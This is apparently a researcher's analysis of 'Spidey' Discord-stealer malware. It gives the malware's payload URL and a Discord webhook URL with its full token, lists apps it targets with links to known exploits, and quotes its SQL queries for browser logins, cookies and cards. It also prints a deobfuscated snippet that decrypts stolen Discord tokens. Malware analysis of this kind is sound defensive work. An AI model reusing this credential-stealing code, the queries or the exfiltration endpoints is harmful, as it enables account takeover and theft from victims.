5.0 KiB
Spidey Malware
- Payload: https://everlasting-swanky-comma.glitch.me/tiktoked.js
- Hook: https://discord.com/api/webhooks/984924488405753896/3jbjvpvICepQHbqeWzCaHeRg31j_lVgJAGZmjMk9HekCjcHcaCLaN2ItzOeuh4NBx6f-
- Client ID:
- ID: 968179769235603526
- Created: Mon, 25 Apr 2022 16:00:44 UTC
- Bot:
- type 1
- id "984924488405753896"
- name "Spidey Bot"
- avatar null
- channel_id "984923350478516284"
- Created: Fri, 10 Jun 2022 20:53:45 UTC
- guild_id "984923276302233611"
- Created: Fri, 10 Jun 2022 20:53:28 UTC
- application_id null
- token "3jbjvpvICepQHbqeWzCaHeRg31j_lVgJAGZmjMk9HekCjcHcaCLaN2ItzOeuh4NBx6f-"
Security assesment
Credentials Extra:
Through the exploitation of various windows vulnerabilities and piss-poor security implementations, many other services are also targeted.
- winscp.net
- Mainly non encrypted config files
- 2007-09-13 WinSCP 4.0.3 - URL Protocol Handler Arbitrary File Access
- https://www.securityfocus.com/bid/25655/info
- WinSCP is prone to a vulnerability that lets an attacker upload arbitrary files to a victim's computer or to download arbitrary files from the victim's computer in the context of the vulnerable application.
- MobaXterm
- MobaXterm Personal Edition 9.4 - Directory Traversal
- http://hyp3rlinx.altervista.org/advisories/MOBAXTERM-TFTP-PATH-TRAVERSAL-REMOTE-FILE-ACCESS.txt
- CVE-2017-6805
- Remote attackers can use UDP socket connection to TFTP server port 69 and send Read request, to retrieve otherwise protected files using directory traversal attacks e.g. ../../../../Windows/system.ini
- Filezilla
- 0/10: Credentials stored in an xml file
- https://www.exploit-db.com/exploits/37729
- 2015-08-07 FileZilla Client 2.2.x - Remote Buffer Overflow (SEH) Remote Windows ly0n
- 2015-06-15 FileZilla 3.11.0.2 SFTP Module - Denial of Service
- \Exodus\exodus.wallet
- RCE : 2018-03-29 Exodus Wallet (ElectronJS Framework) - Remote Code Execution (Metasploit) Metasploit
- https://www.exploit-db.com/exploits/44357
WinDPAPI
The official windows credential manager is hit for every entry, looking for the following:
SELECT origin_url, username_value, password_value FROM loginsSELECT host_key, name, encrypted_value FROM cookiesSELECT card_number_encrypted,expiration_month,expiration_year,name_on_card FROM credit_cards
However unless the windows master key is exposed (through one of the above exploits), the only vector of decription is password reuse or a trivial enough password (This part is very likely in the payload : https://everlasting-swanky-comma.glitch.me/tiktoked.js or the encrypted m0Xe)
- Sources:
https://en.wikipedia.org/wiki/Data_Protection_API https://github.com/abdulkadir-gungor/DPAPI/tree/main/Browser_Stealer https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
Discord security
Method of operation
Accesing a aes256-encripted token and leveraging it to gain full control of discord. This vulnerability lets the attacker spread the virus to other victims.
All virus API is deeply tied to Discord bots, letting the virus user have a very modern and pleasant experience.
Through the use of the Discord api the attacker is able to narrow down it's victims to avoid anyone connected with a moderator or a developper and focusing on nitro users (or any criteria of his choosing).
AES-256 Featuring Rick Astley
The AES implementation of the token encryption is ... subpar. Leading to a trivial-ish decription and an near-instant exploitation.
- 'dQw4w9WgXcQ:[^.\['(.)'\].$][^\"]'
Snipplet
(list_of_files['endsWith']('.log') || list_of_files['endsWith']('.ldb')) && req_fs['readFileSync'](base_path + '\\' + list_of_files, 'utf8')['split'](/\r?\n/)['forEach'](new_line => {
const rickrolled = [new RegExp('dQw4w9WgXcQ:[^.*\\['(.*)'\\].*$][^\\"]*')];
for (const rick of rickrolled) {
const yes_rick = new_line['match'](rick);
if (yes_rick) {
yes_rick['forEach'](mini_rick => {
let auth_tag = Buffer['from'](mini_rick['split']('dQw4w9WgXcQ:')[(1)], 'base64');
let main_key = auth_tag['slice'](3, 15);
let base_64_id = auth_tag['slice'](15, auth_tag['length'] - 1);
let c_tag = auth_tag['slice'](auth_tag['length'] - 1, auth_tag['length']);
let decypher_id = req_crypto['createDecipheriv']('aes-256-gcm', decrypt_method, main_key);
decypher_id['setAuthTag'](c_tag);
let decypher = decypher_id['update'](base_64_id, 'base64', 'utf-8') + decypher_id['final']('utf-8');
result['push'](decypher);
});
}
}
});
Other Ressources
TODO
Investigate the buffer_replace:
req_fs['writeFileSync'](ⵂⴰⵀⵖ, req_buffer_replace(ⵂⵀⴵⵖ, 'api/webhooks', 'vulsa1111'));
Final thoughts
Discord, security is a job, not a fucking hobby.